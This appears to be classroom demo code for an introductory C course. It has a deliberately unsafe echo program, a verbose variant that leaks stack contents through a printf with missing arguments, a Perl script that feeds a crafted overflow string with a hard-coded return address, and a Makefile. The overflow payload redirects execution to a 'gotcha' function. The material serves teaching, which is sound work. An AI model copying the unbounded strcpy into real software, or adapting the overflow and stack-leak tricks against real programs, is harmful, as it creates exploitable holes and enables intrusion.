```
 1: /*
 2:  * eco.c
 3:  *
 4:  * Mike Smith
 5:  *
 6:  * h4cked by Jason Gao ’10
 7:  *
 8:  * This program is an UNSAFE implementation of our echo program.  It
 9:  * assumes that all strings on the command line are smaller than 4
10:  * characters in length.  Obviously, this is a bad assumption, and
11:  * thus we can use it to demonstrate the simplicity of a static buffer
12:  * overrun attack.
13:  *
14:  * If you run the program with the following perl-formated input, it
15:  * will return to the function gotcha instead of main.
16:  *
17:  * "1234" . "\xb8\xf5\xff\xbf" . "\xb4\x84\x04\x08";
18:  */
19:
20: #include <stdio.h>
21: #include <stdlib.h>
22: #include <string.h>
23:
24: #define MAX_BUF_SIZE 4
25:
26:
27: void
28: gotcha()
29: {
30:     printf("\nGotcha!\n");
31:     exit(1);  /* required because we destroy the caller’s base pointer */
32: }
33:
34:
35: void
36: echo_arg(const char s[])
37: {
38:     char buf[MAX_BUF_SIZE];
39:     strcpy(buf, s);
40:     printf("%s ", buf);
41: }
42:
43:
44: int
45: main(int argc, char * argv[])
46: {
47:     int i;
48:     for (i = 1; i < argc; i++)
49:         echo_arg(argv[i]);
50:     printf("\n");
51:
52:     return 0;
53: }
54:
```

```
 1: #!/usr/bin/perl
 2:
 3: ##
 4: ## hack.pl
 5: ##
 6: ## Mike Smith
 7: ##
 8: ## h4cked by Jason Gao ’10
 9: ##
10:
11: ## dangerous on nice.fas!
12: $arg = "1234" . "\xb8\xf5\xff\xbf" . "\xb4\x84\x04\x08";
13:
14: ## safe argument
15: # $arg = "ls -l foo";
16:
17: system($ARGV[0] . " " . $arg);
18:
```

```
 1: ##
 2: ## Makefile
 3: ##
 4: ## Mike Smith
 5: ##
 6:
 7: CC      = gcc
 8: DEBUG   = -g -ansi -W -Wall -pedantic
 9: INCLUDES= -I$(CS50_INC)
10: LIB     = -L$(CS50_LIB) -lcs50
11: CFLAGS  = $(DEBUG) $(INCLUDES)
12: LDFLAGS = $(LIB)
13:
14: all:    eco smash
15:
16: clean:
17:         /bin/rm -f eco smash *.o *~
18:
19: ## end of Makefile
20:
```

```
 1: /*
 2:  * smash.c
 3:  *
 4:  * Mike Smith
 5:  *
 6:  * h4cked by Jason Gao '10
 7:  *
 8:  * This program is a verbose version of our unsafe eco.c.
 9:  *
10:  * If you run the program with the following perl-formated input, it
11:  * will return to the function gotcha instead of main.
12:  *
13:  * "1234" . "\xb8\xf5\xff\xbf" . "\xb4\x84\x04\x08";
14:  */
15:
16: #include <stdio.h>
17: #include <stdlib.h>
18: #include <string.h>
19:
20: #define MAX_BUF_SIZE 4
21:
22:
23: void
24: gotcha()
25: {
26:     printf("\nGotcha!\n");
27:
28:     exit(1);  /* required because we destroy the caller's base pointer */
29: }
30:
31:
32: void
33: echo_arg(const char s[])
34: {
35:     char buf[MAX_BUF_SIZE];
36:
37:     /* Another cheap and dirty trick: This printf call says that there
38:      * are parameters on the stack, but there aren't.  What happens is
39:      * we interpret the other locations on the stack as the parameters
40:      * to printf.  The result is that we get to see what is on the
41:      * stack of the caller of printf. */
42:     printf("\nContents of echo_arg's stack BEFORE strcpy:\n"
43:            "0x%08x -- garbage\n"
44:            "0x%08x -- garbage\n"
45:            "0x%08x -- garbage\n"
46:            "0x%08x -- garbage\n"
47:            "0x%08x -- initial contents of buf\n"
48:            "0x%08x -- contents of EBP in main\n"
49:            "0x%08x -- return address for call to echo_arg\n"
50:            "0x%08x -- address of string passed to echo_arg\n");
51:
52:     strcpy(buf, s);
53:
54:     printf("\nContents of echo_arg's stack AFTER strcpy:\n"
55:            "0x%08x -- garbage\n"
56:            "0x%08x -- garbage\n"
57:            "0x%08x -- garbage\n"
58:            "0x%08x -- garbage\n"
59:            "0x%08x -- final contents of buf\n"
60:            "0x%08x -- contents of EBP in main\n"
61:            "0x%08x -- return address for call to echo_arg\n"
62:            "0x%08x -- address of string passed to echo_arg\n\n");
63:
64:     printf("%s ", buf);
```

```
65: }
66:
67:
68: int
69: main(int argc, char * argv[])
70: {
71:     int i;
72:     printf("Start address of main is 0x%08x\n",
73:            (unsigned int)main);
74:     printf("Start address of gotcha is 0x%08x\n",
75:            (unsigned int)gotcha);
76:
77:     for (i = 1; i < argc; i++) {
78:         echo_arg(argv[i]);
79:     }
80:     printf("\n");
81:
82:     return 0;
83: }
84:
```